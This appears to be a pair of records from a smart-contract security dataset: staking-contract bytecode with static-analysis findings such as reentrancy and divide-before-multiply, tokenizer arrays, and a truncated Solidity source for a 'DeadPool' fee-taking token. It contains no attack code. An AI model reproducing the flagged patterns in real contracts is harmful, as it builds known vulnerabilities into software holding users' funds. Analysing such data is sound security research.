00000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610b1d565b602380547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff8116620100009182900460ff1615909102179055565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601f602052604090205460ff166131a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f496e76616c6964206d69677261746f72206164647265737300000000000000006044820152606401610b1d565b33600090815260216020908152604080832073ffffffffffffffffffffffffffffffffffffffff9490941683529290522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b61320b6000611ae7565b60095442111561321f5761321d614860565b565b600061322961323e565b60158190559050613238614aa6565b600a5550565b6000601a54600014806132515750601b54155b1561325d575060155490565b610f5f613290601b54610a6b613271612777565b610f5961327c6111b7565b610f59600a5461328a614aa6565b90613299565b601554906133d2565b6000610a7783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250614ab4565b6000826132ea57506000610bc0565b60006132f683856159b2565b90508261330385836158e6565b14610a77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f77000000000000000000000000000000000000000000000000000000000000006064820152608401610b1d565b6000610a7783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614b08565b6000806133df83856157f2565b905083811015610a77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b1d565b8460016134588282614b50565b6023546301000000900460ff1615801561347a5750602354610100900460ff16155b806134995750336000908152601f602052604090205460ff1615156001145b6134ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f5374616b696e6720706175736564206f7220696e206d6967726174696f6e00006044820152606401610b1d565b73ffffffffffffffffffffffffffffffffffffffff871660009081526022602052604090205460ff161561358f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f4164647265737320686173206265656e20677265796c697374656400000000006044820152606401610b1d565b600f548410156135fb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4d696e696d756d207374616b652074696d65206e6f74206d65740000000000006044820152606401610b1d565b600e54841115613667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f547279696e6720746f206c6f636b20666f7220746f6f206c6f6e6700000000006044820152606401610b1d565b6000806000613677886001614c72565b93509350935050600061368988610b6d565b9050601e60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060e001604052808b81526020018681526020018981526020016136fa8b8b6133d290919063ffffffff16565b8152602080820194909452600286810b60408084019190915286820b6060938401528454600180820187556000968752958790208551600692830290910190815596850151958701959095558381015186830155918301516003860155608083015160048087019190915560a08401516005909601805460c090950151830b62ffffff9081166301000000027fffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000009096169790930b929092169590951792909217909155905490517f42842e0e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8c811693820193909352306024820152604481018b90529116906342842e0e90606401600060405180830381600087803b15801561383657600080fd5b505af115801561384a573d6000803e3d6000fd5b5050601a5461385c92509050846133d2565b601a5573ffffffffffffffffffffffffffffffffffffffff8a166000908152601c602052604090205461388f90846133d2565b73ffffffffffffffffffffffffffffffffffffffff8b166000908152601c60205260408120919091556138c3908b90614b50565b60408051848152602081018a905290810188905273ffffffffffffffffffffffffffffffffffffffff8a811660608301528b16907f31784953dbbbbfd278bcb87e70e78b0979b28f456dec0e601b24aa9a2727d1ce9060800160405180910390a250505050505050505050565b61393a8383613e39565b506139816040518060e001604052806000815260200160008152602001600081526020016000815260200160008152602001600060020b8152602001600060020b81525090565b600060208201819052805b73ffffffffffffffffffffffffffffffffffffffff86166000908152601e6020526040902054811015613b1d5773ffffffffffffffffffffffffffffffffffffffff86166000908152601e60205260409020805482908110613a17577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906006020160000154841415613b0b5773ffffffffffffffffffffffffffffffffffffffff86166000908152601e60205260409020805482908110613a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e08101825260069093029091018054835260018101549383019390935260028084015491830191909152600383015460608301526004830154608083015260059092015480830b830b830b60a083015263010000009004820b820b90910b60c08201529250905080613b1d565b80613b1581615b27565b91505061398c565b5081518314613b88576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f546f6b656e204944206e6f7420666f756e6400000000000000000000000000006044820152606401610b1d565b816060015142101580613ba8575060235462010000900460ff1615156001145b80613bc75750336000908152601f602052604090205460ff1615156001145b613c2d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f5374616b65206973207374696c6c206c6f636b656421000000000000000000006044820152606401610b1d565b60208201518015613e3157601a54613c459082613299565b601a5573ffffffffffffffffffffffffffffffffffffffff86166000908152601c6020526040902054613c789082613299565b73ffffffffffffffffffffffffffffffffffffffff87166000908152601c6020908152604080832093909355601e905220805483908110613ce2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602082206006909102018181556001810182905560028101829055600381018290556004810182905560050180547fffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000169055613d44908790614b50565b6006546040517f42842e0e00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff878116602483015260448201879052909116906342842e0e90606401600060405180830381600087803b158015613dbe57600080fd5b505af1158015613dd2573d6000803e3d6000fd5b5050604080518481526020810188905273ffffffffffffffffffffffffffffffffffffffff898116828401529151918a1693507f88ac64fdaa180cbd77b625cbb795a39a7b7d1b3b478d09f28f6bb89ee0fa1e51925081900360600190a25b505050505050565b6000826001613e488282614b50565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260176020526040902054925082156141995773ffffffffffffffffffffffffffffffffffffffff808616600090815260176020526040812055600454613eac911685856141a1565b600080613ef56040518060e001604052806000815260200160008152602001600081526020016000815260200160008152602001600060020b8152602001600060020b81525090565b60005b73ffffffffffffffffffffffffffffffffffffffff89166000908152601e60205260409020548110156141275773ffffffffffffffffffffffffffffffffffffffff89166000908152601e60205260409020805482908110613f83577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e081018252600690930290910180548084526001820154948401949094526002808201549284019290925260038101546060840152600481015460808401526005015480820b820b820b60a084015263010000009004810b810b900b60c082015292501561411557604080516080810182528351815273ffffffffffffffffffffffffffffffffffffffff8a8116602083019081526fffffffffffffffffffffffffffffffff8385018181526060850182815260065496517ffc6f7865000000000000000000000000000000000000000000000000000000008152865160048201529351851660248501529051821660448401525116606482015291926000928392919091169063fc6f7865906084016040805180830381600087803b1580156140bc57600080fd5b505af11580156140d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140f491906154da565b909250905061410387836133d2565b965061410f86826133d2565b95505050505b8061411f81615b27565b915050613ef8565b50600454604080518881526020810186905290810184905273ffffffffffffffffffffffffffffffffffffffff91821660608201528882166080820152908916907f96ad88e4f6444f9224c830f0448b73c991f51cce39424918e9cef4a691e02b489060a00160405180910390a25050505b505092915050565b6040805173ffffffffffffffffffffffffffffffffffffffff8481166024830152604480830185905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001790529151600092839290871691614238919061563c565b6000604051808303816000865af19150503d8060008114614275576040519150601f19603f3d011682016040523d82523d6000602084013e61427a565b606091505b50915091508180156142a45750805115806142a45750808060200190518101906142a491906153f4565b61430a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c4544006044820152606401610b1d565b5050505050565b60008060008360020b12614328578260020b614335565b8260020b61433590615bb1565b90506143607ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff27618615b74565b60020b8113156143cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f54000000000000000000000000000000000000000000000000000000000000006044820152606401610b1d565b6000600182166143ed577001000000000000000000000000000000006143ff565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff169050600282161561443e576080614439826ffff97272373d413259a46990580e213a6159b2565b901c90505b6004821615614468576080614463826ffff2e50f5f656932ef12357cf3c7fdcc6159b2565b901c90505b600882161561449257608061448d826fffe5caca7e10e4e61c3624eaa0941cd06159b2565b901c90505b60108216156144bc5760806144b7826fffcb9843d60f6159c9db58835c9266446159b2565b901c90505b60208216156144e65760806144e1826fff973b41fa98c081472e6896dfb254c06159b2565b901c90505b604082161561451057608061450b826fff2ea16466c96a3843ec78b326b528616159b2565b901c90505b608082161561453a576080614535826ffe5dee046a99a2a811c461f1969c30536159b2565b901c90505b610100821615614565576080614560826ffcbe86c7900a88aedcffc83b479aa3a46159b2565b901c90505b61020082161561459057608061458b826ff987a7253ac413176f2b074cf7815e546159b2565b901c90505b6104008216156145bb5760806145b6826ff3392b0822b70005940c7a398e4b70f36159b2565b901c90505b6108008216156145e65760806145e1826fe7159475a2c29b7443b29c7fa6e889d96159b2565b901c90505b61100082161561461157608061460c826fd097f3bdfd2022b8845ad8f792aa58256159b2565b901c90505b61200082161561463c576080614637826fa9f746462d870fdf8a65dc1f90e061e56159b2565b901c90505b614000821615614667576080614662826f70d869a156d2a1b890bb3df62baf32f76159b2565b901c90505b61800082161561469257608061468d826f31be135f97d08fd981231505542fcfa66159b2565b901c90505b620100008216156146be5760806146b9826f09aa508b5b7a84e1c677de54f3e99bc96159b2565b901c90505b620200008216156146e95760806146e4826e5d6af8dedb81196699c329225ee6046159b2565b901c90505b6204000082161561471357608061470e826d2216e584f5fa1ea926041bedfe986159b2565b901c90505b6208000082161561473b576080614736826b048a170391f7dc42444e8fa26159b2565b901c90505b60008460020b131561477457614771817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6158e6565b90505b61478364010000000082615b60565b1561478f576001614792565b60005b6111a69060ff16602083901c6157f2565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1611156147dd579192915b73ffffffffffffffffffffffffffffffffffffffff84166148567bffffffffffffffffffffffffffffffff000000000000000000000000606085901b166148248787615aaf565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16614eab565b6111a691906158e6565b60095442116148cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f506572696f6420686173206e6f742065787069726564207965742100000000006044820152606401610b1d565b6000600c546148e56009544261329990919063ffffffff16565b6148ef91906158e6565b600480546040517f70a08231000000000000000000000000000000000000000000000000000000008152309281019290925291925060009173ffffffffffffffffffffffffffffffffffffffff16906370a082319060240160206040518083038186803b15801561495f57600080fd5b505afa158015614973573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906149979190615472565b9050806149b66149a88460016157f2565b610f59600c54610f596111b7565b1115614a1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f4e6f7420656e6f7567682046585320617661696c61626c6500000000000000006044820152606401610b1d565b600c54614a3d90614a3490610f598560016133d2565b600954906133d2565b6009556000614a4a61323e565b60158190559050614a59614aa6565b600a5560065460405173ffffffffffffffffffffffffffffffffffffffff90911681527f6f2b3b3aaf1881d69a5d40565500f93ea73df36e7b6a29bf48b21479a9237fe9906020016117f9565b6000610f5f4260095461506c565b60008184841115614af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1d919061572e565b506000614aff8486615ae4565b95945050505050565b60008183614b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1d919061572e565b506000614aff84866158e6565b8015614b5e57614b5e613201565b73ffffffffffffffffffffffffffffffffffffffff8216156115a1576000806000614b88856121fb565b925092509250614b9785615082565b73ffffffffffffffffffffffffffffffffffffffff85166000908152601260205260409020829055828110614c1b576000614bd28285613299565b601b54909150614be290826133d2565b601b55614bef84826133d2565b73ffffffffffffffffffffffffffffffffffffffff87166000908152601d60205260409020555061430a565b6000614c278483613299565b601b54909150614c379082613299565b601b55614c448482613299565b73ffffffffffffffffffffffffffffffffffffffff87166000908152601d6020526040902055505050505050565b600080600080600080600080600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166399fbab888d6040518263ffffffff1660e01b8152600401614cde91815260200190565b6101806040518083038186803b158015614cf757600080fd5b505afa158015614d0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614d2f919061555d565b505050506fffffffffffffffffffffffffffffffff169750975097509750975097505050600099508098506013600c9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16148015614dd1575060145473ffffffffffffffffffffffffffffffffffffffff8681169116145b8015614df3575060135462ffffff858116690100000000000000000090920416145b8015614e095750601354600284810b91810b900b145b8015614e265750601354600283810b6301000000909204810b900b145b15614e345760019950614e9c565b8a15614e9c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f57726f6e6720746f6b656e2063686172616374657269737469637300000000006044820152606401610b1d565b50979a96995097505050505050565b600080807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8587098587029250828110838203039150508060001415614f035760008411614ef857600080fd5b508290049050610a77565b808411614f0f57600080fd5b600084868809808403938111909203919050600085614f4e817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff615ae4565b614f599060016157f2565b16958690049593849004936000819003046001019050614f7981846159b2565b909317926000614f8a8760036159b2565b6002189050614f9981886159b2565b614fa4906002615ae4565b614fae90826159b2565b9050614fba81886159b2565b614fc5906002615ae4565b614fcf90826159b2565b9050614fdb81886159b2565b614fe6906002615ae4565b614ff090826159b2565b9050614ffc81886159b2565b615007906002615ae4565b61501190826159b2565b905061501d81886159b2565b615028906002615ae4565b61503290826159b2565b905061503e81886159b2565b615049906002615ae4565b61505390826159b2565b905061505f81866159b2565b9998505050505050505050565b600081831061507b5781610a77565b5090919050565b73ffffffffffffffffffffffffffffffffffffffff811615611c4c5760006150a9826109de565b73ffffffffffffffffffffffffffffffffffffffff83166000908152601760209081526040808320939093556015546016909152919020555050565b80516150f081615c74565b919050565b600082601f830112615105578081fd5b8151602061511a615115836157ce565b61577f565b80838252828201915082860187848660051b8901011115615139578586fd5b855b8581101561516057815161514e81615c74565b8452928401929084019060010161513b565b5090979650505050505050565b8051600281900b81146150f057600080fd5b80516fffffffffffffffffffffffffffffffff811681146150f057600080fd5b805162ffffff811681146150f057600080fd5b6000602082840312156151c3578081fd5b8135610a7781615c74565b600080600080608085870312156151e3578283fd5b84356151ee81615c74565b93506020858101356151ff81615c74565b935060408601359250606086013567ffffffffffffffff80821115615222578384fd5b818801915088601f830112615235578384fd5b81358181111561524757615247615c45565b615277847fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8401160161577f565b9150808252898482850101111561528c578485fd5b8084840185840137810190920192909252939692955090935050565b600080604083850312156152ba578182fd5b82356152c581615c74565b946020939093013593505050565b600080600080608085870312156152e8578384fd5b84356152f381615c74565b966020860135965060408601359560600135945092505050565b6000806040838503121561531f578182fd5b825167ffffffffffffffff80821115615336578384fd5b818501915085601f830112615349578384fd5b81516020615359615115836157ce565b8083825282820191508286018a848660051b8901011115615378578889fd5b8896505b848710156153a85780518060060b811461539457898afd5b83526001969096019591830191830161537c565b50918801519196509093505050808211156153c1578283fd5b506153ce858286016150f5565b9150509250929050565b6000602082840312156153e9578081fd5b8135610a7781615c96565b600060208284031215615405578081fd5b8151610a7781615c96565b600080600060608486031215615424578081fd5b833561542f81615c96565b9250602084013561543f81615c96565b9150604084013561544f81615c96565b809150509250925092565b60006020828403121561546b578081fd5b5035919050565b600060208284031215615483578081fd5b5051919050565b6000806040838503121561549c578182fd5b8235915060208301356154ae81615c96565b809150509250929050565b600080604083850312156154cb578182fd5b50508035926020909101359150565b600080604083850312156154ec578182fd5b505080516020909101519092909150565b600080600060608486031215615511578081fd5b505081359360208301359350604090920135919050565b6000806040838503121561553a578182fd5b823563ffffffff8116811461554d578283fd5b915060208301356154ae81615c96565b6000806000806000806000806000806000806101808d8f03121561557f57898afd5b8c516bffffffffffffffffffffffff8116811461559a578a8bfd5b9b506155a860208e016150e5565b9a506155b660408e016150e5565b99506155c460608e016150e5565b98506155d260808e0161519f565b97506155e060a08e0161516d565b96506155ee60c08e0161516d565b95506155fc60e08e0161517f565b94506101008d015193506101208d0151925061561b6101408e0161517f565b915061562a6101608e0161517f565b90509295989b509295989b509295989b565b6000825161564e818460208701615afb565b9190910192915050565b602080825282518282018190526000919060409081850190868401855b828110156156d75781518051855286810151878601528581015186860152606080820151908601526080808201519086015260a080820151600290810b9187019190915260c091820151900b9085015260e09093019290850190600101615675565b5091979650505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561572257835163ffffffff1683529284019291840191600101615700565b50909695505050505050565b602081526000825180602084015261574d816040850160208701615afb565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff811182821017156157c6576157c6615c45565b604052919050565b600067ffffffffffffffff8211156157e8576157e8615c45565b5060051b60200190565b6000821982111561580557615805615be7565b500190565b60008261581957615819615c16565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83147f80000000000000000000000000000000000000000000000000000000000000008314161561586d5761586d615be7565b500590565b60008160060b8360060b8061588957615889615c16565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81147fffffffffffffffffffffffffffffffffffffffffffffffffff80000000000000831416156158dd576158dd615be7565b90059392505050565b6000826158f5576158f5615c16565b500490565b60007f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8184138284138583048511828216161561593957615939615be7565b7f80000000000000000000000000000000000000000000000000000000000000008487128682058812818416161561597357615973615be7565b85871292508782058712848416161561598e5761598e615be7565b878505871281841616156159a4576159a4615be7565b505050929093029392505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156159ea576159ea615be7565b500290565b60008160020b8360020b828112817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff80000001831281151615615a3157615a31615be7565b81627fffff018313811615615a4857615a48615be7565b5090039392505050565b60008160060b8360060b828112817fffffffffffffffffffffffffffffffffffffffffffffffffff8000000000000001831281151615615a9457615a94615be7565b81667fffffffffffff018313811615615a4857615a48615be7565b600073ffffffffffffffffffffffffffffffffffffffff83811690831681811015615adc57615adc615be7565b039392505050565b600082821015615af657615af6615be7565b500390565b60005b83811015615b16578181015183820152602001615afe565b8381111561109d5750506000910152565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415615b5957615b59615be7565b5060010190565b600082615b6f57615b6f615c16565b500690565b60008160020b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff800000811415615baa57615baa615be7565b9003919050565b60007f8000000000000000000000000000000000000000000000000000000000000000821415615be357615be3615be7565b0390565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff81168114611c4c57600080fd5b8015158114611c4c57600080fdfea264697066735822122049e99a58ba9920039c6c23b86ff3488654f5ceb5cadd9ab1ff338ad8a22e70e464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2487, 7959, 22932, 2575, 19797, 2683, 2581, 2094, 2509, 19797, 4215, 2629, 26005, 9818, 2581, 2581, 2094, 2487, 5732, 2497, 2620, 23777, 18827, 2575, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1016, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 2340, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1012, 1012, 1013, 25312, 2595, 14971, 2213, 1035, 4895, 12848, 2509, 1035, 2310, 2546, 2595, 2015, 1012, 14017, 1000, 1025, 3206, 25312, 2595, 14971, 2213, 1035, 4895, 12848, 2509, 1035, 2310, 2546, 2595, 2015, 1035, 25312, 2595, 1035, 18765, 2003, 25312, 2595, 14971, 2213, 1035, 4895, 12848, 2509, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,860
0x9782152113734049af787bf21e424f4beb57b1f3
/** * Telegram TheDeadpoolToken * 9% tax Fair Play */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DeadPool is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 8000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "DeadPool Token"; string private constant _symbol = "DeadPool"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x5E527315AdeBd216eD85cFE30DD1d456944bE965); _feeAddrWallet2 = payable(0x5E527315AdeBd216eD85cFE30DD1d456944bE965); _feeAddrWallet3 = payable(0x5E527315AdeBd216eD85cFE30DD1d456944bE965); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 2; _feeAddr2 = 7; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 8000000000* 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { 